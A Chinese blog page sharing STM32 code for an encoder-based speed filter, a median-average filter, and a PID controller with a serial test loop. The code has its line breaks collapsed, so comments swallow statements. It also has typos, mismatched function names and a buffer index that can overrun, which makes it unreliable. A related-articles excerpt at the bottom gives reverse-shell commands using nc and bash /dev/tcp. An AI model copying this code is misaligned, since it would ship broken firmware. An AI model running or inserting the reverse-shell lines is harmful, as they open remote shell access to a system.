当前位置: 首页 > news >正文

STM32算法

1.通过编码器对返回的错误速度进行滤波

#define MOTOR_BUFF_CIRCLE_SIZE 4
#define STATIC_ENCODER_VALUE   6int32_t LMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] = {0};
uint8_t LEindex = 0;
int32_t LMotor_Encoder_last = 0;
int32_t L_Encoder_change = 0;int32_t RMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] = {0};
uint8_t REindex = 0;
int32_t RMotor_Encoder_last = 0;
int32_t R_Encoder_change = 0;uint8_t Robot_static_flag = 0;
uint8_t Robot_dynamic_flag = 0;int32_t Encoder_buff_change_value(int32_t *buff,uint8_t size)
{ int i = 0;int32_t value = 0;for(i = 0; i < size;i++){value += buff[i]; }return value;
}u8 Speed_Filter_send(int32_t L_speed,int32_t R_speed)
{	 CAN1Sedbuf[0]=L_speed;CAN1Sedbuf[1]=L_speed>>8;CAN1Sedbuf[2]=L_speed>>16;CAN1Sedbuf[3]=L_speed>>24;CAN1Sedbuf[4]=R_speed;CAN1Sedbuf[5]=R_speed>>8;CAN1Sedbuf[6]=R_speed>>16;CAN1Sedbuf[7]=R_speed>>24;	CAN1_Send(0x183,8);	 Delay_Us(200);
}void Updata_Motor_Speed(void)
{		
//	if((Motor_Vel_receive[0] < 10) && (Motor_Vel_receive[0] > -10))
//	{
//	  Motor_Vel_receive[0] = 0;
//	}//	if((Motor_Vel_receive[1] < 10) && (Motor_Vel_receive[1] > -10))
//	{
//	  Motor_Vel_receive[1] = 0;
//	}	LEindex = LEindex % MOTOR_BUFF_CIRCLE_SIZE;LMotor_Encoder_buff[LEindex] = Motor_Encoder_receive[0] - LMotor_Encoder_last;LEindex++;LMotor_Encoder_last = Motor_Encoder_receive[0];L_Encoder_change = Encoder_buff_change_value(LMotor_Encoder_buff,MOTOR_BUFF_CIRCLE_SIZE);REindex = REindex % MOTOR_BUFF_CIRCLE_SIZE;RMotor_Encoder_buff[REindex] = Motor_Encoder_receive[1] - RMotor_Encoder_last;REindex++;RMotor_Encoder_last = Motor_Encoder_receive[1];R_Encoder_change = Encoder_buff_change_value(RMotor_Encoder_buff,MOTOR_BUFF_CIRCLE_SIZE);	if( (abs(L_Encoder_change) < STATIC_ENCODER_VALUE) && (abs(R_Encoder_change) < STATIC_ENCODER_VALUE) ){//staticRobot_static_flag = 1;Robot_dynamic_flag = 0;}else{//dynamicRobot_static_flag = 0;Robot_dynamic_flag = 1;}if( (Robot_static_flag == 1) && (Robot_dynamic_flag == 0) ){Motor_Speed[0] = 0;Motor_Speed[1] = 0;Motor_Odom = 0;Motor_gyro_z = 0;		Speed_Filter_send(0,0);}else{Motor_Speed[0] = rpm2vel(Motor_Vel_receive[0]);Motor_Speed[1] = -rpm2vel(Motor_Vel_receive[1]);Motor_Odom = (Motor_Speed[0] + Motor_Speed[1])/2.0f;Motor_gyro_z = ((Motor_Speed[1] - Motor_Speed[0])/WHRRL_L);		Speed_Filter_send(Motor_Vel_receive[0],Motor_Vel_receive[1]);}Motor_L_Encoder = Encoder2Distance(Motor_Encoder_receive[0]);Motor_R_Encoder = -Encoder2Distance(Motor_Encoder_receive[1]);
}

2.中位值平均滤波

/***note
input:Speed_input_value;
outout:Speed_output_value;**/#define FILTER_BUFFER_SIZE 4
uint8 speed_filter[FILTER_BUFFER_SIZE] ={0};void TMSpeed_filter(void) 
{static unit8 ad_save_location=0;speed_filter[ad_save_location]  = Speed_input_value;    /*sample value get input value*/  if (ad_save_location > (FILTER_BUFFER_SIZE-1)) { ad_save_location = 0;TM_filter();                            //中位值平均滤波}else{ad_save_location++;}
}/*************************************************************************** * Function:    void compositor(u8 channel)* Description: 中位值平均滤波* Parameters:  None                * Returns:       * Author:      Teana**************************************************************************/
void compositor(void)
{unit8 exchange;unit8 i,j;u16 change_value;for (j=FILTER_BUFFER_SIZE;j>1;j--){for (i=0;i<j-1;i++){exchange = 0;if (speed_filter[i]>speed_filter[i+1]){change_value = speed_filter[i];speed_filter[i] = speed_filter[i+1];speed_filter[i+1] = change_value;exchange = 1;}}if (exchange == 0)return;}
}void TM_filter(void)
{unit8 index;unit8 count;u16 sum_data = 0;compositor(); //filter up-downfor (count=1;count<FILTER_BUFFER_SIZE-1;count++){sum_data +=speed_filter[count];}Speed_output_value= sum_data / (FILTER_BUFFER_SIZE - 2);sum_data = 0;}

3.PID算法

pid.h

// protection against multiple includes
#ifndef SAXBOPHONE_PID_H
#define SAXBOPHONE_PID_H#ifdef __cplusplus
extern "C"{
#endiftypedef struct pid_calibration {/** struct PID_Calibration* * Struct storing calibrated PID constants for a PID Controller* These are used for tuning the algorithm and the values they take are* dependent upon the application - (in other words, YMMV...)*/double kp; // Proportional gaindouble ki; // Integral gaindouble kd; // Derivative gain} PID_Calibration;typedef struct pid_state {/** struct PID_State* * Struct storing the current state of a PID Controller.* This is used as the input value to the PID algorithm function, which also* returns a PID_State struct reflecting the adjustments suggested by the algorithm.* * NOTE: The output field in this struct is set by the PID algorithm function, and* is ignored in the actual calculations.*/double actual; // The actual reading as measureddouble target; // The desired readingdouble time_delta; // Time since last sample/calculation - should be set when updating state// The previously calculated error between actual and target (zero initially)double previous_error;double integral; // Sum of integral error over timedouble output; // the modified output value calculated by the algorithm, to compensate for error} PID_State;/** PID Controller Algorithm implementation* * Given a PID calibration for the P, I and D values and a PID_State for the current* state of the PID controller, calculate the new state for the PID Controller and set* the output state to compensate for any error as defined by the algorithm*/PID_State pid_iterate(PID_Calibration calibration, PID_State state);#ifdef __cplusplus
} // extern "C"
#endif// end of header
#endif

pid.c

#include "pid.h"PID_State pid_iterate(PID_Calibration calibration, PID_State state) {// calculate difference between desired and actual values (the error)double error = state.target - state.actual;// calculate and update integralstate.integral += (error * state.time_delta);// calculate derivativedouble derivative = (error - state.previous_error) / state.time_delta;// calculate output value according to algorithmstate.output = ((calibration.kp * error) + (calibration.ki * state.integral) + (calibration.kd * derivative));// update state.previous_error to the error value calculated on this iterationstate.previous_error = error;// return the state struct reflecting the calculationsreturn state;
}

test.c

#include "pid.h"// initialise blank PID_Calibration struct and blank PID_State struct
PID_Calibration calibration;
PID_State state;void setup() {// configure the calibration and state structs// dummy gain valuescalibration.kp = 1.0;calibration.ki = 1.0;calibration.kd = 1.0;// an initial blank starting statestate.actual = 0.0;state.target = 0.0;state.time_delta = 1.0; // assume an arbitrary time interval of 1.0state.previous_error = 0.0;state.integral = 0.0;// start the serial line at 9600 baud!Serial.begin(9600);
}void loop() {// read in two bytes from serial, assume first is the target value and// second is the actual value. Output calculated result on serialif (Serial.available() >= 2) {// retrieve one byte as target value, cast to double and store in state structstate.target = (double) Serial.read();// same as above for actual valuestate.actual = (double) Serial.read();// now do PID calculation and assign output back to statestate = pid_iterate(calibration, state);// print results back on serialSerial.print("Target:\t");Serial.println(state.target);Serial.print("Actual:\t");Serial.println(state.actual);Serial.print("Output:\t");Serial.println(state.output);}
}

相关文章:

STM32算法

1.通过编码器对返回的错误速度进行滤波 #define MOTOR_BUFF_CIRCLE_SIZE 4 #define STATIC_ENCODER_VALUE 6int32_t LMotor_Encoder_buff[MOTOR_BUFF_CIRCLE_SIZE] {0}; uint8_t LEindex 0; int32_t LMotor_Encoder_last 0; int32_t L_Encoder_change 0;int32_t RMotor_…...

论文阅读 (106):Decoupling maxlogit for out-of-distribution detection (2023 CVPR)

文章目录 1 概述1.1 要点1.2 代码1.3 引用 2 预备知识3 方法3.1 MaxLogit3.2 改进MaxCosine和MaxNorm3.3 DML 1 概述 1.1 要点 题目&#xff1a;解耦最大logit分布外检测 (Decoupling maxlogit for out-of-distribution detection) 方法&#xff1a; 提出了一种心机基于log…...

毅速丨3D打印随形水路为何受到模具制造追捧

在模具制造行业中&#xff0c;随形水路镶件正逐渐成为一种革命性的技术&#xff0c;其提高冷却效率、优化产品设计、降低成本等优点&#xff0c;为模具制造带来了巨大的创新价值。 随形水路是一种根据产品形状定制的冷却水路&#xff0c;其镶件可以均匀地分布在模具的表面或内部…...

【LeetCode:1670. 设计前中后队列 | 数据结构设计】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…...

OpenCV将两张图片拼接成一张图片

OpenCV将两张图片拼接成一张图片 示例代码1示例代码2代码示例3示例代码4 可以用opencv或者numpy的拼接函数&#xff0c;直接将两张图拼接到一起&#xff0c;很简单方便&#xff0c;参考代码2&#xff0c;推荐此方式。新建图片&#xff0c;将两张图片的像素值填充到新图片对应位…...

4G5G智能执法记录仪在保险公司车辆保险远程定损中的应用

4G智能执法记录仪&#xff1a;汽车保险定损的**利器 随着科技的不断进步&#xff0c;越来越多的智能设备应用到日常生活中。而在车辆保险定损领域&#xff0c;4G智能执法记录仪的出现无疑是一大**。它不仅可以实现远程定损&#xff0c;还能实现可视化操作、打印保单以及数据融…...

二十七、RestClient查询文档

目录 一、MatchALL查询 二、Match查询 三、bool查询 四、排序和分页 五、高亮 一、MatchALL查询 Testvoid testMatchAll() throws IOException { // 准备Request对象SearchRequest request new SearchRequest("hotel"); // 准备DSLrequest.source().q…...

百度云Ubuntu22.04

1. download 百度云 2. sudo dpkg -i ***.deb...

解除word文档限制,快速轻松,seo优化。

文章解密、找回和去除word文档密码的安全、简单、高效方法 具体步骤如下&#xff1a;1. 百度搜索【密码帝官网】&#xff0c;2. 点击“立即开始”在用户中心上传需要解密的文件&#xff0c;稍等片刻即可找回密码。这是最简单的办法&#xff0c;无需下载软件&#xff0c;适用于手…...

【音频】Glitch相关

背景 因为要判断低码率下&#xff0c;MOS分值为啥下降&#xff0c;从几个方面调查。其中提及到Glitch、缓冲buffer等&#xff0c;慢慢积累名次概念以及经验。 “Glitch” 在音频领域通常指的是非预期的、短暂的干扰或失真。这些问题可能由于信号传输错误、设备问题、软件错误等…...

【开源】基于Vue+SpringBoot的大学生相亲网站

项目编号&#xff1a; S 048 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S048&#xff0c;文末获取源码。} 项目编号&#xff1a;S048&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块三、系统展示四、核心代码4.1 查询会员4…...

5种主流API网关技术选型,yyds!

API网关是微服务项目的重要组成部分&#xff0c;今天来聊聊API网关的技术选型&#xff0c;有理论&#xff0c;有实战。 不 BB&#xff0c;上文章目录&#xff1a; 1 API网关基础 1.1 什么是API网关 API网关是一个服务器&#xff0c;是系统的唯一入口。 从面向对象设计的角度…...

请求pdf文件流并进行预览

最近做了一个需求就是预览pdf等文件&#xff0c;不过后端返回的是一个文件流&#xff0c;需要前端做一定地处理才行。 我们来看一下具体的实现方式。预览pdf的插件使用的是pdf.js&#xff0c;具体请看这篇文章&#xff1a;pdf.js插件怎么控制工具栏的显示与隐藏 1、请求pdf文件…...

【Unity程序技巧】加入缓存池存储地图资源,节省资源,避免多次CG

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;Uni…...

虹科Pico汽车示波器 | 汽车免拆检修 | 2016款东风悦达起亚K5车发动机怠速抖动严重、加速无力

一、故障现象 一辆2016款东风悦达起亚K5车&#xff0c;搭载G4FJ发动机&#xff0c;累计行驶里程约为8.2万km。该车发动机怠速抖动严重、加速无力&#xff0c;同时发动机故障灯异常点亮&#xff0c;为此在其他维修厂更换了所有点火线圈和火花塞&#xff0c;故障依旧&#xff0c;…...

4.Spring源码解析-loadBeanDefinitions(XmlBeanDefinitionReader)

第一个点进去 发现是空 肯定走的第二个逻辑了 这里在这里已经给属性设置了值&#xff0c;所以肯定不是空能拿到。 1.ClassPathXmlApplicationContext 总结&#xff1a;该loadBeanDefinitions是XmlBeanDefinitionReader设置xml文件在哪。...

PHP 针对人大金仓KingbaseES自动生成数据字典

针对国产数据库 人大金仓KingbaseES 其实php 连接采用pdo方式 必须&#xff1a;需要去人大数据金仓官方网站 下载对应版本的pdo_kdb 扩展驱动 其连接方法与pgsql 数据库连接方法大致相同 不解释 直接上代码&#xff1a; <?php /*** 生成人大金仓数据字典*/ header(…...

java选择排序和冒泡排序

1.区别 选择排序和冒泡排序的区别主要在于算法逻辑、稳定性和交换成本。 算法逻辑&#xff1a;选择排序和冒泡排序都属于比较排序&#xff0c;但在具体算法逻辑上有所不同。冒泡排序是通过相邻元素之间的比较和交换&#xff0c;将较大&#xff08;或较小&#xff09;的元素逐…...

linux反弹shell

nc工具反弹shell 下面是windows主机找到nc打开1.bat输入&#xff1a;nc 连接的IP地址 端口 受害主机是nc -lvvp 端口 -t -e /bin/bash kali系统连接 bash命令反弹 本地 nc -l -p 端口&#xff0c; 受害主机 bash -i >& /dev/tcp/要连接的主机IP/端口 0>&1 注…...

Go字符串类型

一、字符串 1、字符串 Go 语言里的字符串的内部实现使用 UTF-8 编码字符串带的值为双引号&#xff08;"&#xff09;中的内容&#xff0c;可以在 Go 语言的源码中直接添加非ASCII 码字符 s1 : "hello" s2 : "您好" 2、字符串转义符 Go 语言的字符…...

7.4.分块查找

一.分块查找的算法思想&#xff1a; 1.实例&#xff1a; 以上述图片的顺序表为例&#xff0c; 该顺序表的数据元素从整体来看是乱序的&#xff0c;但如果把这些数据元素分成一块一块的小区间&#xff0c; 第一个区间[0,1]索引上的数据元素都是小于等于10的&#xff0c; 第二…...

CMake基础:构建流程详解

目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

【git】把本地更改提交远程新分支feature_g

创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...

JDK 17 新特性

#JDK 17 新特性 /**************** 文本块 *****************/ python/scala中早就支持&#xff0c;不稀奇 String json “”" { “name”: “Java”, “version”: 17 } “”"; /**************** Switch 语句 -> 表达式 *****************/ 挺好的&#xff…...

SpringCloudGateway 自定义局部过滤器

场景&#xff1a; 将所有请求转化为同一路径请求&#xff08;方便穿网配置&#xff09;在请求头内标识原来路径&#xff0c;然后在将请求分发给不同服务 AllToOneGatewayFilterFactory import lombok.Getter; import lombok.Setter; import lombok.extern.slf4j.Slf4j; impor…...

华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建

华为云FlexusDeepSeek征文&#xff5c;DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色&#xff0c;华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型&#xff0c;能助力我们轻松驾驭 DeepSeek-V3/R1&#xff0c;本文中将分享如何…...

【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分

一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计&#xff0c;提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合&#xff1a;各模块职责清晰&#xff0c;便于独立开发…...

MySQL用户和授权

开放MySQL白名单 可以通过iptables-save命令确认对应客户端ip是否可以访问MySQL服务&#xff1a; test: # iptables-save | grep 3306 -A mp_srv_whitelist -s 172.16.14.102/32 -p tcp -m tcp --dport 3306 -j ACCEPT -A mp_srv_whitelist -s 172.16.4.16/32 -p tcp -m tcp -…...

关键领域软件测试的突围之路:如何破解安全与效率的平衡难题

在数字化浪潮席卷全球的今天&#xff0c;软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件&#xff0c;这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下&#xff0c;实现高效测试与快速迭代&#xff1f;这一命题正考验着…...